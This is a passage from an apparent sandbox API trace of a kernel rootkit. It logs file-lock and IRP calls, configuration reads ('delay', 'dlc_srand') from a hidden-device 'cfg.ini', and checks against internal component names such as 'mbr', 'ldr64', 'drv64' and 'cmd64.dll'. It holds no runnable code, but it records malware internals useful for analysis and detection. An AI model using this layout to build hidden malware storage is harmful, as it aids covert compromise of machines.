CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.385] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be40e0 [0122.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.385] KeLeaveCriticalRegion () [0122.385] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.385] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.385] KeEnterCriticalRegion () [0122.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.385] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.385] KeLeaveCriticalRegion () [0122.385] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.385] KeEnterCriticalRegion () [0122.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.385] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.385] IdePortDispatch () returned 0x103 [0122.386] KeWaitForMutexObject () returned 0x0 [0122.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.386] KeLeaveCriticalRegion () [0122.386] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.386] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.386] KeEnterCriticalRegion () [0122.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.386] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7d000 [0122.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.386] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.386] IdePortDispatch () returned 0x103 [0122.386] KeWaitForMutexObject () returned 0x0 [0122.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.386] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.386] IdePortDispatch () returned 0x103 [0122.386] KeWaitForMutexObject () returned 0x0 [0122.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.387] KeLeaveCriticalRegion () [0122.387] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.387] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.387] KeEnterCriticalRegion () [0122.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.387] KeLeaveCriticalRegion () [0122.387] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.387] KeEnterCriticalRegion () [0122.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.387] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.387] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5db0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.387] KeLeaveCriticalRegion () [0122.387] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.387] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.387] KeEnterCriticalRegion () [0122.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.387] ExFreePoolWithTag (P=0xfffffa8003be40e0, Tag=0x0) [0122.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.387] KeLeaveCriticalRegion () [0122.387] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.387] ReleaseMutex (hMutex=0xf0) returned 1 [0122.387] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.387] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.388] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.388] KeEnterCriticalRegion () [0122.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.388] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.388] IdePortDispatch () returned 0x103 [0122.388] KeWaitForMutexObject () returned 0x0 [0122.388] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.388] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.388] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.388] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.388] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.388] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5fb0 [0122.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.388] KeLeaveCriticalRegion () [0122.388] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.388] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.388] KeEnterCriticalRegion () [0122.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.388] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.388] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.388] KeLeaveCriticalRegion () [0122.388] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.388] KeEnterCriticalRegion () [0122.388] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.388] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.388] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.388] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.388] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.388] IdePortDispatch () returned 0x103 [0122.388] KeWaitForMutexObject () returned 0x0 [0122.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.389] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.389] KeLeaveCriticalRegion () [0122.389] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.389] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.389] KeEnterCriticalRegion () [0122.389] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.389] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7e000 [0122.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.389] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.389] IdePortDispatch () returned 0x103 [0122.389] KeWaitForMutexObject () returned 0x0 [0122.389] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.389] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.389] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.389] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.389] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.389] IdePortDispatch () returned 0x103 [0122.389] KeWaitForMutexObject () returned 0x0 [0122.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.390] KeLeaveCriticalRegion () [0122.390] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.390] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.390] KeEnterCriticalRegion () [0122.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.390] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.390] KeLeaveCriticalRegion () [0122.390] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.390] KeEnterCriticalRegion () [0122.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.390] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.390] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.390] KeLeaveCriticalRegion () [0122.390] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.390] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.390] KeEnterCriticalRegion () [0122.390] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.390] ExFreePoolWithTag (P=0xfffffa8003be5fb0, Tag=0x0) [0122.390] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.390] KeLeaveCriticalRegion () [0122.390] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.390] ReleaseMutex (hMutex=0xf0) returned 1 [0122.390] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.390] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.391] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.391] KeEnterCriticalRegion () [0122.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.391] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.391] IdePortDispatch () returned 0x103 [0122.391] KeWaitForMutexObject () returned 0x0 [0122.391] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.391] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.391] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.391] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.391] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.391] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4790 [0122.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.391] KeLeaveCriticalRegion () [0122.391] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.391] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.391] KeEnterCriticalRegion () [0122.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.391] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.391] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.391] KeLeaveCriticalRegion () [0122.391] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.391] KeEnterCriticalRegion () [0122.391] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.391] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.391] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.391] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.391] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.391] IdePortDispatch () returned 0x103 [0122.391] KeWaitForMutexObject () returned 0x0 [0122.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.392] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.392] KeLeaveCriticalRegion () [0122.392] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.392] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.392] KeEnterCriticalRegion () [0122.392] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.392] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7f000 [0122.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.392] IdePortDispatch () returned 0x103 [0122.392] KeWaitForMutexObject () returned 0x0 [0122.392] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.392] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.392] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.392] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.392] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.392] IdePortDispatch () returned 0x103 [0122.392] KeWaitForMutexObject () returned 0x0 [0122.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.393] KeLeaveCriticalRegion () [0122.393] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.393] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.393] KeEnterCriticalRegion () [0122.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.393] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.393] KeLeaveCriticalRegion () [0122.393] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.393] KeEnterCriticalRegion () [0122.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.393] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.393] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.393] KeLeaveCriticalRegion () [0122.393] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.394] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.394] KeEnterCriticalRegion () [0122.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.394] ExFreePoolWithTag (P=0xfffffa8003be4790, Tag=0x0) [0122.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.394] KeLeaveCriticalRegion () [0122.394] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.394] ReleaseMutex (hMutex=0xf0) returned 1 [0122.394] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.394] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.394] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.394] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.394] KeEnterCriticalRegion () [0122.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.394] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.394] IdePortDispatch () returned 0x103 [0122.394] KeWaitForMutexObject () returned 0x0 [0122.394] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.394] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.394] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.394] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.395] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.395] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.395] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.395] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.395] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.395] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.395] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.395] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.395] KeLeaveCriticalRegion () [0122.395] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.395] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.395] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.395] KeEnterCriticalRegion () [0122.395] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.395] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.395] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.395] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.395] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.395] IdePortDispatch () returned 0x103 [0122.395] KeWaitForMutexObject () returned 0x0 [0122.395] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.395] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.395] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.395] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.395] _strnicmp (_Str1="ldr64", _Str="lsash.xp", 